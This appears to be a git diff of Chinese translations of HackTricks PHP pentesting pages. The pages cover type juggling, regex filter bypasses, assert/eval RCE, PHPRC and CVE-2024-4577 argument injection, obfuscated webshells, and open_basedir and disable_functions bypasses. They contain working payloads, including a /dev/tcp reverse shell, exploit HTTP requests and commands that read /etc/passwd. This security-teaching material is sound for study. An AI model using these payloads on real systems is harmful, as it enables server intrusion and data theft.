然后,你可以**安装以下插件**该插件包含经典的pentest-monkey php r**ev shell**_在上传之前你需要解压缩修改revshell的IP和端口然后再压缩_
然后,你可以**安装以下插件**该插件包含经典的pentest-monkey php r**ev shell**_在上传之前你需要解压缩修改revshell的IP和端口然后再压缩_
{{#file}}
moodle-rce-plugin.zip

View File

@ -36,10 +36,10 @@ EN-PHP-loose-comparison-Type-Juggling-OWASP (1).pdf
- `"0xAAAA" == "43690" -> True` 由十进制或十六进制格式的数字组成的字符串可以与其他数字/字符串进行比较,如果数字相同则结果为 True字符串中的数字被解释为数字
- `"0e3264578" == 0 --> True` 一个以 "0e" 开头并后跟任何内容的字符串将等于 0
- `"0X3264578" == 0X --> True` 一个以 "0" 开头并后跟任何字母X 可以是任何字母)和后跟任何内容的字符串将等于 0
- `"0e12334" == "0" --> True` 这非常有趣,因为在某些情况下你可以控制 "0" 的字符串输入以及与之进行哈希比较的某些内容。因此,如果你可以提供一个值,该值将创建一个以 "0e" 开头且没有任何字母的哈希,你可以绕过比较。你可以在这里找到 **已经哈希的字符串** [https://github.com/spaze/hashes](https://github.com/spaze/hashes)
- `"0e12334" == "0" --> True` 这非常有趣,因为在某些情况下你可以控制 "0" 的字符串输入以及与之进行哈希比较的某些内容。因此,如果你可以提供一个值,该值将创建一个以 "0e" 开头且没有任何字母的哈希,你可以绕过比较。你可以在这里找到 **已经哈希的字符串** [https://github.com/spaze/hashes](https://github.com/spaze/hashes)
- `"X" == 0 --> True` 字符串中的任何字母等于 int 0
更多信息请见 [https://medium.com/swlh/php-type-juggling-vulnerabilities-3e28c4ed5c09](https://medium.com/swlh/php-type-juggling-vulnerabilities-3e28c4ed5c09)
更多信息请见 [https://medium.com/swlh/php-type-juggling-vulnerabilities-3e28c4ed5c09](https://medium.com/swlh/php-type-juggling-vulnerabilities-3e28c4ed5c09)
### **in_array()**
@ -53,24 +53,24 @@ var_dump(in_array(0, $values, true));
```
### strcmp()/strcasecmp()
如果此函数用于 **任何身份验证检查**(如检查密码),并且用户控制比较的一侧,他可以发送一个空数组而不是字符串作为密码的值(`https://example.com/login.php/?username=admin&password[]=`),从而绕过此检查:
如果此函数用于**任何身份验证检查**如检查密码),并且用户控制比较的一侧,他可以发送一个空数组而不是字符串作为密码的值(`https://example.com/login.php/?username=admin&password[]=`),从而绕过此检查:
```php
if (!strcmp("real_pwd","real_pwd")) { echo "Real Password"; } else { echo "No Real Password"; }
// Real Password
if (!strcmp(array(),"real_pwd")) { echo "Real Password"; } else { echo "No Real Password"; }
// Real Password
```
的错误发生在 `strcasecmp()`
同的错误发生在 `strcasecmp()`
### 严格类型转换
即使使用 `===`,也可能出现错误,使得比较容易受到类型转换的影响。例如,如果比较是在比较之前将数据转换为不同类型的对象:
即使使用 `===`,也可能出现错误,使得比较容易受到类型转换的影响。例如,如果比较是在比较之前将数据转换为不同类型的对象:
```php
(int) "1abc" === (int) "1xyz" //This will be true
```
### preg_match(/^.\*/)
**`preg_match()`** 可以用来 **验证用户输入**(它 **检查** 是否有任何 **单词/正则表达式****黑名单****出现在** 用户输入中,如果没有,代码可以继续执行)。
**`preg_match()`** 可以用来 **验证用户输入**(它 **检查** 是否有任何 **单词/正则表达式****黑名单****出现在** **用户输入** 中,如果没有,代码可以继续执行)。
#### New line bypass
@ -87,7 +87,7 @@ echo preg_match("/^.*1/",$myinput);
echo preg_match("/^.*1.*$/",$myinput);
//0 --> In this scenario preg_match DOESN'T find the char "1"
```
要绕过此检查,您可以**使用 URL 编码发送带有换行符的值**`%0A`),或者如果您可以发送**JSON 数据**,则将其分成**多行**发送:
要绕过此检查,您可以**发送带有换行符的 URL 编码值**`%0A`),或者如果您可以发送**JSON 数据**,则将其分成**多行**发送:
```php
{
"cmd": "cat /etc/passwd"
@ -97,8 +97,8 @@ echo preg_match("/^.*1.*$/",$myinput);
#### **长度错误绕过**
(这个绕过显然是在 PHP 5.2.5 上尝试的,我无法在 PHP 7.3.15 上使其工作)\
如果你可以发送一个有效的非常 **大的输入**`preg_match()`,它 **将无法处理**,你将能够 **绕过** 检查。例如,如果它正在黑名单一个 JSON你可以发送
(这个绕过显然是在 PHP 5.2.5 上尝试的,我在 PHP 7.3.15 上无法使其工作)\
如果你可以发送`preg_match()` 一个有效的非常 **大的输入**,它 **将无法处理**,你将能够 **绕过** 检查。例如,如果它正在黑名单一个 JSON你可以发送
```bash
payload = '{"cmd": "ls -la", "injected": "'+ "a"*1000001 + '"}'
```
@ -106,17 +106,17 @@ payload = '{"cmd": "ls -la", "injected": "'+ "a"*1000001 + '"}'
#### ReDoS 绕过
技巧来源于: [https://simones-organization-4.gitbook.io/hackbook-of-a-hacker/ctf-writeups/intigriti-challenges/1223](https://simones-organization-4.gitbook.io/hackbook-of-a-hacker/ctf-writeups/intigriti-challenges/1223) 和 [https://mizu.re/post/pong](https://mizu.re/post/pong)
技巧来: [https://simones-organization-4.gitbook.io/hackbook-of-a-hacker/ctf-writeups/intigriti-challenges/1223](https://simones-organization-4.gitbook.io/hackbook-of-a-hacker/ctf-writeups/intigriti-challenges/1223) 和 [https://mizu.re/post/pong](https://mizu.re/post/pong)
<figure><img src="../../../images/image (26).png" alt=""><figcaption></figcaption></figure>
简而言之,问题发生是因为 PHP 中的 `preg_*` 函数基于 [PCRE 库](http://www.pcre.org/)。在 PCRE 中,某些正则表达式通过大量递归调用进行匹配,这会消耗大量的栈空间。可以设置允许的递归次数限制,但在 PHP 中,这个限制 [默认为 100,000](http://php.net/manual/en/pcre.configuration.php#ini.pcre.recursion-limit),这超过了栈的容量。
[这个 Stackoverflow 线程](http://stackoverflow.com/questions/7620910/regexp-in-preg-match-function-returning-browser-error) 也在帖子中被提,深入讨论了这个问题。我们的任务现在很明确:\
**发送一个输入,使正则表达式进行 100_000+ 次递归,导致 SIGSEGV使得 `preg_match()` 函数返回 `false`,从而使应用程序认为我们的输入不是恶意的,在有效负载的最后抛出一个惊喜,例如 `{system(<verybadcommand>)}` 获取 SSTI --> RCE --> flag :)**。
[这个 Stackoverflow 线程](http://stackoverflow.com/questions/7620910/regexp-in-preg-match-function-returning-browser-error) 也在帖子中被提,深入讨论了这个问题。我们的任务现在很明确:\
**发送一个输入,使正则表达式进行 100_000+ 次递归,导致 SIGSEGV使得 `preg_match()` 函数返回 `false`,从而使应用程序认为我们的输入不是恶意的,在有效负载的最后抛出一个惊喜,例如 `{system(<verybadcommand>)}` 获取 SSTI --> RCE --> flag :)**。
好吧,在正则表达式术语中,我们实际上并不是在进行 100k 次“递归”,而是在计算“回溯步骤”,正如 [PHP 文档](https://www.php.net/manual/en/pcre.configuration.php#ini.pcre.recursion-limit) 所述,它在 `pcre.backtrack_limit` 变量中默认为 1_000_0001M。\
要达到这个,`'X'*500_001` 将导致 100 万回溯步骤50万向前和50万向后
好吧,从正则表达式的角度来看,我们实际上并没有进行 100k 次“递归”,而是计算“回溯步骤”,正如 [PHP 文档](https://www.php.net/manual/en/pcre.configuration.php#ini.pcre.recursion-limit) 所述,它在 `pcre.backtrack_limit` 变量中默认为 1_000_0001M。\
要达到这个,`'X'*500_001` 将导致 100 万回溯步骤50万向前和50万向后
```python
payload = f"@dimariasimone on{'X'*500_001} {{system('id')}}"
```
@ -153,16 +153,16 @@ readfile($page);
## 更多技巧
- **register_globals**: 在 **PHP < 4.1.1.1** 或者如果配置错误,**register_globals** 可能是激活的(或者其行为被模仿)。这意味着在全局变量如 $\_GET 中,如果它们有值,例如 $\_GET\["param"]="1234",你可以通过 **$param 访问它。因此,通过发送 HTTP 参数,你可以覆盖代码中使用的变量\*\*。
- **同一域的 PHPSESSION cookies 存储在同一位置**,因此如果在一个域中 **不同的 cookies 在不同的路径中使用**,你可以使该路径 **访问该路径的 cookie**,设置其他路径 cookie 的值。\
- **register_globals**: 在 **PHP < 4.1.1.1** 或者如果配置错误,**register_globals** 可能是激活的(或者其行为被模)。这意味着在全局变量如 $\_GET 中,如果它们有值,例如 $\_GET\["param"]="1234",你可以通过 **$param 访问它。因此,通过发送 HTTP 参数,你可以覆盖代码中使用的变量**。
- **同一域的 PHPSESSION cookies 存储在同一位置**,因此如果在一个域中 **不同路径使用不同的 cookies**,你可以使该路径 **访问该路径的 cookie**,设置其他路径 cookie 的值。\
这样,如果 **两个路径访问同名变量**,你可以使 **路径1中的该变量的值应用于路径2**。然后路径2将认为路径1的变量是有效的通过给 cookie 赋予在路径2中对应的名称
- 当你拥有机器用户的 **用户名** 时。检查地址: **/\~\<USERNAME>** 以查看 php 目录是否被激活。
- 如果 php 配置中有 **`register_argc_argv = On`**,那么用空格分隔的查询参数将用于填充参数数组 **`array_keys($_SERVER['argv'])`**,就像它们是 **CLI 的参数**。这很有趣,因为如果该 **设置关闭**当从网页调用时,**args 数组的值将是 `Null`**,因为 ars 数组不会被填充。因此,如果一个网页尝试检查它是作为网页还是 CLI 工具运行,使用类似 `if (empty($_SERVER['argv'])) {` 的比较,攻击者可以在 GET 请求中发送 **参数如 `?--configPath=/lalala`**,它将认为自己是作为 CLI 运行,并可能解析和使用这些参数。更多信息请参见 [原始写作](https://www.assetnote.io/resources/research/how-an-obscure-php-footgun-led-to-rce-in-craft-cms)。
- 当你拥有机器用户的 **用户名** 时。检查地址**/\~\<USERNAME>** 以查看 php 目录是否被激活。
- 如果 php 配置中有 **`register_argc_argv = On`**,那么用空格分隔的查询参数将用于填充参数数组 **`array_keys($_SERVER['argv'])`**,就像它们是 **CLI 的参数**。这很有趣,因为如果该 **设置关闭**则从网页调用时 **args 数组的值将为 `Null`**,因为 ars 数组不会被填充。因此,如果一个网页尝试检查它是作为网页还是 CLI 工具运行,使用类似 `if (empty($_SERVER['argv'])) {` 的比较,攻击者可以在 GET 请求中发送 **参数如 `?--configPath=/lalala`**,它将认为自己是作为 CLI 运行,并可能解析和使用这些参数。更多信息请参见 [原始写作](https://www.assetnote.io/resources/research/how-an-obscure-php-footgun-led-to-rce-in-craft-cms)。
- [**使用 php 包装器的 LFI 和 RCE**](../../../pentesting-web/file-inclusion/index.html)
### password_hash/password_verify
这些函数通常在 PHP 中用于 **从密码生成哈希** **检查** 密码是否与哈希匹配。\
这些函数通常在 PHP 中用于 **从密码生成哈希**,并 **检查** 密码是否与哈希匹配。\
支持的算法有:`PASSWORD_DEFAULT``PASSWORD_BCRYPT`(以 `$2y$` 开头)。请注意,**PASSWORD_DEFAULT 通常与 PASSWORD_BCRYPT 相同。** 目前,**PASSWORD_BCRYPT** 在输入上有 **72字节的大小限制**。因此,当你尝试用该算法对大于 72 字节的内容进行哈希时,仅会使用前 72B
```php
$cont=71; echo password_verify(str_repeat("a",$cont), password_hash(str_repeat("a",$cont)."b", PASSW
@ -175,9 +175,9 @@ True
#### Causing error after setting headers
[**这个推特线程**](https://twitter.com/pilvar222/status/1784618120902005070?t=xYn7KdyIvnNOlkVaGbgL6A&s=19) 你可以看到,发送超过 1000 个 GET 参数或 1000 个 POST 参数或 20 个文件时PHOP 不会在响应中设置头部。
从[**这个推特线程**](https://twitter.com/pilvar222/status/1784618120902005070?t=xYn7KdyIvnNOlkVaGbgL6A&s=19)中可以看到发送超过1000个GET参数或1000个POST参数或20个文件时PHP不会在响应中设置头部。
这允许绕过例如在代码中设置的 CSP 头部,如:
这允许绕过例如在代码中设置的CSP头部
```php
<?php
header("Content-Security-Policy: default-src 'none';");
@ -204,14 +204,14 @@ php-ssrf.md
**\`ls\`;**\
**shell_exec("ls");**
[查看此以获取更多有用的 PHP 函数](php-useful-functions-disable_functions-open_basedir-bypass/index.html)
[查看此以获取更多有用的 PHP 函数](php-useful-functions-disable_functions-open_basedir-bypass/index.html)
### **通过** **preg_replace()** **进行 RCE**
```php
preg_replace(pattern,replace,base)
preg_replace("/a/e","phpinfo()","whatever")
```
执行“replace”参数中的代码,至少需要一个匹配项。\
在“replace”参数中执行代码,至少需要一个匹配项。\
此选项在 PHP 5.5.0 中已被**弃用**。
### **通过 Eval() 进行 RCE**
@ -224,12 +224,12 @@ preg_replace("/a/e","phpinfo()","whatever")
```
### **通过 Assert() 实现 RCE**
此函数在 php 中允许您 **执行以字符串形式编写的代码****返回 true 或 false**(并根据此改变执行)。通常用户变量会插入字符串中间。例如:\
此函数在 php 中允许您 **执行以字符串形式编写的代码****返回 true 或 false**(并根据此改变执行)。通常用户变量会插入字符串中间。例如:\
`assert("strpos($_GET['page']),'..') === false")` --> 在这种情况下,要获得 **RCE**,您可以这样做:
```
?page=a','NeVeR') === false and system('ls') and strpos('a
```
您需要**破坏**代码**语法****添加**您的**有效载荷**,然后**再修复它**。您可以使用**逻辑运算**,例如“**and**”或“%26%26”或“|”。请注意“or”和“||”不起作用,因为如果第一个条件为真,我们的有效载荷将不会被执行。同样,“;”也不起作用,因为我们的有效载荷不会被执行。
您需要**破坏**代码**语法****添加**您的**有效载荷**,然后**再修复它**。您可以使用**逻辑运算**,例如“**and"或"%26%26"或"|"**。请注意“or”“||”不起作用,因为如果第一个条件为真,我们的有效载荷将不会被执行。同样,“;”也不起作用,因为我们的有效载荷不会被执行。
**另一个选项**是将命令的执行添加到字符串中:`'.highlight_file('.passwd').'`
@ -274,9 +274,9 @@ usort();}phpinfo;#, "cmp");
### 通过环境变量进行 RCE
如果您发现一个漏洞,允许您 **修改 PHP 中的环境变量**(还有另一个漏洞可以上传文件,尽管经过更多研究,这可能可以绕过),您可以利用这种行为获得 **RCE**
如果您发现一个漏洞,允许您 **修改 PHP 中的环境变量**(还有另一个漏洞可以上传文件,尽管经过更多研究可能可以绕过),您可以利用这种行为获得 **RCE**
- [**`LD_PRELOAD`**](../../../linux-hardening/privilege-escalation/index.html#ld_preload-and-ld_library_path)这个环境变量允许您在执行其他二进制文件时加载任意库(尽管在这种情况下可能不用)。
- [**`LD_PRELOAD`**](../../../linux-hardening/privilege-escalation/index.html#ld_preload-and-ld_library_path)环境变量允许您在执行其他二进制文件时加载任意库(尽管在这种情况下可能不起作用)。
- **`PHPRC`**:指示 PHP **在哪里查找其配置文件**,通常称为 `php.ini`。如果您可以上传自己的配置文件,则使用 `PHPRC` 指向它。添加一个 **`auto_prepend_file`** 条目,指定第二个上传的文件。这个第二个文件包含正常的 **PHP 代码,然后由 PHP 运行时在任何其他代码之前执行**
1. 上传一个包含我们的 shellcode 的 PHP 文件
2. 上传第二个文件,包含一个 **`auto_prepend_file`** 指令,指示 PHP 预处理器执行我们在步骤 1 中上传的文件
@ -285,7 +285,7 @@ usort();}phpinfo;#, "cmp");
- **PHPRC** - 另一个选项
- 如果您 **无法上传文件**,您可以在 FreeBSD 中使用 "file" `/dev/fd/0`,它包含 **`stdin`**,即发送到 `stdin` 的请求的 **主体**
- `curl "http://10.12.72.1/?PHPRC=/dev/fd/0" --data-binary 'auto_prepend_file="/etc/passwd"'`
- 或者获得 RCE启用 **`allow_url_include`** 并预先添加一个包含 **base64 PHP 代码** 的文件:
- 或者为了获得 RCE启用 **`allow_url_include`** 并预先添加一个包含 **base64 PHP 代码** 的文件:
- `curl "http://10.12.72.1/?PHPRC=/dev/fd/0" --data-binary $'allow_url_include=1\nauto_prepend_file="data://text/plain;base64,PD8KICAgcGhwaW5mbygpOwo/Pg=="'`
- 技术 [**来自此报告**](https://vulncheck.com/blog/juniper-cve-2023-36845)。
@ -295,7 +295,7 @@ Web 服务器解析 HTTP 请求并将其传递给执行请求的 PHP 脚本,
```jsx
-d allow_url_include=1 -d auto_prepend_file=php://input
```
此外,由于后续的 PHP 规范化,可以使用 0xAD 字符注入 "-" 参数。检查来自 [**这篇文章**](https://labs.watchtowr.com/no-way-php-strikes-again-cve-2024-4577/) 的漏洞示例:
此外,由于 PHP 后续的规范化,可以使用 0xAD 字符注入 "-" 参数。检查来自 [**这篇文章**](https://labs.watchtowr.com/no-way-php-strikes-again-cve-2024-4577/) 的漏洞示例:
```jsx
POST /test.php?%ADd+allow_url_include%3d1+%ADd+auto_prepend_file%3dphp://input HTTP/1.1
Host: {{host}}
@ -310,22 +310,22 @@ phpinfo();
?>
```
## PHP 清理绕过与 Brain Fuck
## PHP Sanitization bypass & Brain Fuck
[**在这篇文章中**](https://blog.redteam-pentesting.de/2024/moodle-rce/) 可以找到生成一个仅允许很少字符的 brain fuck PHP 代码的好主意。\
[**在这篇文章中**](https://blog.redteam-pentesting.de/2024/moodle-rce/) 可以找到生成一个脑残 PHP 代码的好主意,允许的字符非常少。\
此外,还提出了一种有趣的方法来执行函数,使它们能够绕过多个检查:
```php
(1)->{system($_GET[chr(97)])}
```
## PHP 静态分析
查看您是否可以在对这些函数的调用中插入代码(来自 [here](https://www.youtube.com/watch?v=SyWUsN0yHKI&feature=youtu.be)
查看您是否可以在对这些函数的调用中插入代码(来自 [这里](https://www.youtube.com/watch?v=SyWUsN0yHKI&feature=youtu.be)
```php
exec, shell_exec, system, passthru, eval, popen
unserialize, include, file_put_cotents
$_COOKIE | if #This mea
```
如果您正在调试 PHP 应用程序,可以在 `/etc/php5/apache2/php.ini` 中全局启用错误打印,添加 `display_errors = On` 并重启 apache `sudo systemctl restart apache2`
如果您正在调试 PHP 应用程序,可以在`/etc/php5/apache2/php.ini`中全局启用错误打印,添加`display_errors = On`并重启 apache`sudo systemctl restart apache2`
### 反混淆 PHP 代码
@ -333,11 +333,11 @@ $_COOKIE | if #This mea
## PHP 包装器和协议
PHP 包装器和协议可能允许您 **绕过系统中的读写保护** 并危害系统。有关 [**更多信息,请查看此页面**](../../../pentesting-web/file-inclusion/index.html#lfi-rfi-using-php-wrappers-and-protocols)。
PHP 包装器和协议可能允许您**绕过系统中的读写保护**并危害系统。有关[**更多信息,请查看此页面**](../../../pentesting-web/file-inclusion/index.html#lfi-rfi-using-php-wrappers-and-protocols)。
## Xdebug 未经身份验证的 RCE
如果您`phpconfig()` 输出中看到 **Xdebug****启用**,您应该尝试通过 [https://github.com/nqxcode/xdebug-exploit](https://github.com/nqxcode/xdebug-exploit) 获取 RCE。
如果您看到`phpconfig()`输出中**启用了 Xdebug**,您应该尝试通过[https://github.com/nqxcode/xdebug-exploit](https://github.com/nqxcode/xdebug-exploit)获取 RCE。
## 变量变量
```php
@ -367,7 +367,7 @@ php-rce-abusing-object-creation-new-usd_get-a-usd_get-b.md
```php
$_="\163\171\163\164\145\155(\143\141\164\40\56\160\141\163\163\167\144)"; #system(cat .passwd);
```
### **XOR**
### **异或**
```php
$_=("%28"^"[").("%33"^"[").("%34"^"[").("%2c"^"[").("%04"^"[").("%28"^"[").("%34"^"[").("%2e"^"[").("%29"^"[").("%38"^"[").("%3e"^"["); #show_source
$__=("%0f"^"!").("%2f"^"_").("%3e"^"_").("%2c"^"_").("%2c"^"_").("%28"^"_").("%3b"^"_"); #.passwd
@ -412,7 +412,7 @@ lt;>/'^'{{{{';\${\$_}[_](\${\$_}[__]);" `$_='
```php
lt;>/'^'{{{{'; --> _GET` `${$_}[_](${$_}[__]); --> $_GET[_]($_GET[__])` `So, the function is inside $_GET[_] and the parameter is inside $_GET[__]` http --form POST "http://victim.com/index.php?_=system&__=$CMD" "input=$CODE"
```
### Perl 类似
### 类似 Perl
```php
<?php
$_=[];

View File

@ -16,7 +16,7 @@ echo exec("uname -a");
```bash
echo passthru("uname -a");
```
**system** - 将命令输出直接传递浏览器并返回最后一行
**system** - 将命令输出直接传递浏览器并返回最后一行
```bash
echo system("uname -a");
```
@ -24,7 +24,7 @@ echo system("uname -a");
```bash
echo shell_exec("uname -a");
```
\`\` (反引号) - 与 shell_exec() 相同
\`\` (backticks) - 与 shell_exec() 相同
```bash
echo `uname -a`
```
@ -32,7 +32,7 @@ echo `uname -a`
```bash
echo fread(popen("/bin/ls /", "r"), 4096);
```
**proc_open** - 类似于 popen() 但控制程度更高
**proc_open** - 类似于 popen() 但具有更高的控制程度
```bash
proc_close(proc_open("uname -a",array(),$something));
```
@ -40,7 +40,7 @@ proc_close(proc_open("uname -a",array(),$something));
```php
<?php preg_replace('/.*/e', 'system("whoami");', ''); ?>
```
**pcntl_exec** - 执行一个程序(在现代和不太现代的 PHP 中,默认情况下需要加载 `pcntl.so` 模块才能使用此函数)
**pcntl_exec** - 执行一个程序(在现代和不太现代的 PHP 中,默认情况下需要加载 `pcntl.so` 模块才能使用此函数)
```bash
pcntl_exec("/bin/bash", ["-c", "bash -i >& /dev/tcp/127.0.0.1/4444 0>&1"]);
```
@ -86,7 +86,7 @@ PHP设置通常配置在路径 _/etc/php7/conf.d_ 或类似位置。
## open_basedir Bypass
`open_basedir`将配置PHP可以访问的文件夹你**将无法在**这些文件夹之外**写入/读取/执行任何文件**,而且你**甚至无法列出**其他目录。\
然而如果你能够执行任意PHP代码你可以**尝试**以下代码块来**绕过**限制。
然而如果你能够执行任意PHP代码你可以**尝试**以下代码块来尝试**绕过**限制。
### 使用 glob:// 绕过列出目录
@ -111,7 +111,7 @@ echo "{$f}<br/>";
**注意2**:看起来代码的某部分是重复的,但这实际上是必要的!\
**注意3**:此示例仅用于列出文件夹,而不是读取文件。
### 完全的 open_basedir 绕过利用 FastCGI
### 完全绕过 open_basedir 利用 FastCGI
如果您想要**了解更多关于 PHP-FPM 和 FastCGI**的信息,可以阅读[本页面的第一部分](disable_functions-bypass-php-fpm-fastcgi.md)。\
如果**`php-fpm`**已配置,您可以利用它完全绕过**open_basedir**
@ -472,18 +472,18 @@ $params = array(
echo $client->request($params, $code)."\n";
?>
```
这些脚本将与 **php-fpm 的 unix socket** 进行通信(通常位于 /var/run如果使用 fpm以执行任意代码。`open_basedir` 设置将被发送的 **PHP_VALUE** 属性覆盖。\
这些脚本将与 **unix socket of php-fpm**(通常位于 /var/run如果使用 fpm进行通信,以执行任意代码。`open_basedir` 设置将被发送的 **PHP_VALUE** 属性覆盖。\
注意 `eval` 是如何用于执行您在 **cmd** 参数中发送的 PHP 代码的。\
还要注意 **注释行 324**,您可以取消注释,它将使 **有效载自动连接到给定的 URL 并执行其中包含的 PHP 代码**。\
还要注意 **注释行 324**,您可以取消注释,它将使 **有效自动连接到给定的 URL 并执行其中包含的 PHP 代码**。\
只需访问 `http://vulnerable.com:1337/l.php?cmd=echo file_get_contents('/etc/passwd');` 即可获取 `/etc/passwd` 文件的内容。
> [!WARNING]
> 您可能会认为,就像我们覆盖了 `open_basedir` 配置一样,我们可以 **覆盖 `disable_functions`**。好吧,试试看,但这行不通,显然 **`disable_functions` 只能在 `.ini` php** 配置文件中进行配置,您使用 PHP_VALUE 进行的更改在此特定设置上将无效。
> 您可能会认为,就像我们覆盖了 `open_basedir` 配置一样,我们可以 **覆盖 `disable_functions`**。好吧,试试看,但这不会有效,显然 **`disable_functions` 只能在 `.ini` php** 配置文件中进行配置,您使用 PHP_VALUE 进行的更改在此特定设置上将无效。
## disable_functions 绕过
如果您能够在机器上执行 PHP 代码,您可能想要更进一步,**执行任意系统命令**。在这种情况下,通常会发现大多数或所有允许 **执行系统命令的 PHP 函数都已被禁用** 在 **`disable_functions`** 中。\
那么,让我们看看您如何可以绕过此限制(如果可以的话)
如果您能够在机器上执行 PHP 代码,您可能想要更进一步,**执行任意系统命令**。在这种情况下,通常会发现大多数或所有允许 **执行系统命令的 PHP 函数都已在 `disable_functions` 中被禁用**。\
那么,让我们看看您如何可以绕过此限制(如果可以的话)
### 自动绕过发现
@ -495,7 +495,7 @@ echo $client->request($params, $code)."\n";
### LD_PRELOAD 绕过
众所周知PHP 中的一些函数如 `mail()` 将会 **在系统内执行二进制文件**。因此,您可以利用它们使用环境变量 `LD_PRELOAD` 使它们加载可以执行任何内容的任意库。
众所周知PHP 中的一些函数如 `mail()` 将会 **在系统内执行二进制文件**。因此,您可以利用它们使用环境变量 `LD_PRELOAD` 使它们加载可以执行任何内容的任意库。
#### 可以使用 LD_PRELOAD 绕过 disable_functions 的函数
@ -506,7 +506,7 @@ echo $client->request($params, $code)."\n";
- **`gnupg_init`**:在安装了 `php-gnupg` 模块时可用。
- **`new imagick()`**:此类可以被滥用以绕过限制。详细的利用技术可以在全面的 [**写作中找到**](https://blog.bi0s.in/2019/10/23/Web/BSidesDelhi19-evalme/)。
您可以 [**这里找到**](https://github.com/tarunkant/fuzzphunc/blob/master/lazyFuzzer.py) 用于查找这些函数的模糊测试脚本。
您可以 [**这里找到**](https://github.com/tarunkant/fuzzphunc/blob/master/lazyFuzzer.py) 用于查找这些函数的模糊测试脚本。
这是一个您可以编译以滥用 `LD_PRELOAD` 环境变量的库:
```php
@ -523,11 +523,11 @@ return 1;
```
#### 使用 Chankro 绕过
为了利用这个错误配置,你可以 [**Chankro**](https://github.com/TarlogicSecurity/Chankro)。这是一个**生成 PHP 利用程序** 的工具,你需要将其上传到易受攻击的服务器并执行(通过网络访问)。\
**Chankro** 将在受害者的磁盘上写入 **库和反向 shell**,你想要执行的,并将使用 **`LD_PRELOAD` 技巧 + PHP `mail()`** 函数来执行反向 shell。
为了利用这个错误配置,你可以 [**Chankro**](https://github.com/TarlogicSecurity/Chankro)。这是一个 **生成 PHP 漏洞利用代码** 的工具,你需要将其上传到易受攻击的服务器并执行(通过网页访问)。\
**Chankro** 将在受害者的磁盘上写入你想要执行的 **库和反向 shell**,并将使用 **`LD_PRELOAD` 技巧 + PHP `mail()`** 函数来执行反向 shell。
请注意,为了使用 **Chankro**`mail``putenv` **不能出现在 `disable_functions` 列表中**。\
在以下示例中,你可以看到如何为 **arch 64** **创建 chankro 利用程序**,它将执行 `whoami` 并将输出保存到 _/tmp/chankro_shell.out_chankro 将 **在 _/tmp_ 中写入库和有效载荷**,最终的利用程序将被称为 **bicho.php**(这是你需要上传到受害者服务器的文件):
在以下示例中,你可以看到如何为 **arch 64** **创建一个 chankro 漏洞利用代码**,它将执行 `whoami` 并将输出保存到 _/tmp/chankro_shell.out_chankro 将 **在 _/tmp_ 中写入库和有效载荷**,最终的漏洞利用代码将被称为 **bicho.php**(这是你需要上传到受害者服务器的文件):
{{#tabs}}
{{#tab name="shell.sh"}}
@ -560,13 +560,13 @@ python2 chankro.py --arch 64 --input shell.sh --path /tmp --output bicho.php
如果使用某个特定模块或利用某个特定 PHP 版本,有几种方法可以绕过 disable_functions
- [**FastCGI/PHP-FPM (FastCGI 进程管理器)**](disable_functions-bypass-php-fpm-fastcgi.md)
- [**使用 FFI - 启用外部函数接口绕过**](https://github.com/carlospolop/hacktricks/blob/master/network-services-pentesting/pentesting-web/php-tricks-esp/php-useful-functions-disable_functions-open_basedir-bypass/broken-reference/README.md)
- [**使用 FFI - 启用外部函数接口绕过**](https://github.com/carlospolop/hacktricks/blob/master/network-services-pentesting/pentesting-web/php-tricks-esp/php-useful-functions-disable_functions-open_basedir-bypass/broken-reference/README.md)
- [**通过内存绕过**](disable_functions-bypass-via-mem.md)
- [**mod_cgi**](disable_functions-bypass-mod_cgi.md)
- [**PHP Perl 扩展安全模式**](disable_functions-bypass-php-perl-extension-safe_mode-bypass-exploit.md)
- [**dl 函数**](disable_functions-bypass-dl-function.md)
- [**此漏洞**](https://github.com/mm0r1/exploits/tree/master/php-filter-bypass)
- 5.\* - 通过对 PoC 进行小幅改可利用
- 5.\* - 通过对 PoC 进行小幅改可利用
- 7.0 - 所有版本至今
- 7.1 - 所有版本至今
- 7.2 - 所有版本至今
@ -597,7 +597,7 @@ python2 chankro.py --arch 64 --input shell.sh --path /tmp --output bicho.php
[回调 / 可调用](https://www.php.net/manual/en/language.types.callable.php)
[从这里开始的列表](https://stackoverflow.com/questions/3115559/exploitable-php-functions)
[从这里开始的后续列表](https://stackoverflow.com/questions/3115559/exploitable-php-functions)
```php
// Function => Position of callback arguments
'ob_start' => 0,
@ -635,7 +635,7 @@ python2 chankro.py --arch 64 --input shell.sh --path /tmp --output bicho.php
```
### 信息泄露
大多数这些函数调用不是数据汇聚点。但如果返回的任何数据对攻击者可见,这可能就是一个漏洞。如果攻击者可以看到 phpinfo(),这绝对是一个漏洞。
这些函数调用大多数不是数据汇聚点。但如果返回的任何数据对攻击者可见,则可能存在漏洞。如果攻击者可以看到 phpinfo(),这绝对是一个漏洞。
```php
phpinfo
posix_mkfifo
@ -677,7 +677,7 @@ posix_setuid
```
### 文件系统函数
根据 RATSphp 中的所有文件系统函数都很糟糕。其中一些对攻击者似乎并不太有用。其他的则比你想象的更有用。例如,如果 allow_url_fopen=On则可以将 URL 用作文件路径,因此调用 copy($\_GET\['s'], $\_GET\['d']); 可以用来在系统上的任何地方上传 PHP 脚本。此外,如果一个站点容易受到通过 GET 发送的请求的攻击,那么这些文件系统函数中的每一个都可以被滥用,以通过你的服务器将攻击引导到另一个主机。
根据 RATSphp 中的所有文件系统函数都很糟糕。其中一些对攻击者似乎并不太有用。其他的则比你想象的更有用。例如,如果 allow_url_fopen=On则可以将 URL 用作文件路径,因此调用 copy($\_GET\['s'], $\_GET\['d']); 可以用来在系统上的任何地方上传 PHP 脚本。此外,如果一个站点容易受到通过 GET 发送的请求的攻击,那么所有这些文件系统函数都可以被滥用,以通过你的服务器将攻击引导到另一个主机。
**打开文件系统处理程序**
```php
@ -687,7 +687,7 @@ bzopen
gzopen
SplFileObject->__construct
```
**写入文件系统(部分结合读取**
**写入文件系统(部分与读取结合)**
```php
chgrp
chmod

View File

@ -2,19 +2,19 @@
{{#include ../../banners/hacktricks-training.md}}
当处理一个**启用 WebDav 的 HTTP 服务器**时,如果您拥有正确的**凭据**,通常通过**HTTP 基本认证**进行验证,就可以**操纵文件**。控制这样的服务器通常涉及**上传和执行 webshell**
在处理启用了 **WebDav****HTTP 服务器** 时,如果您拥有正确的 **凭据**,通常通过 **HTTP 基本认证** 验证,就可以 **操纵文件**。控制这样的服务器通常涉及 **上传和执行 webshell**
访问 WebDav 服务器通常需要**有效的凭据**[**WebDav 暴力破解**](../../generic-hacking/brute-force.md#http-basic-auth)是获取它们的常见方法。
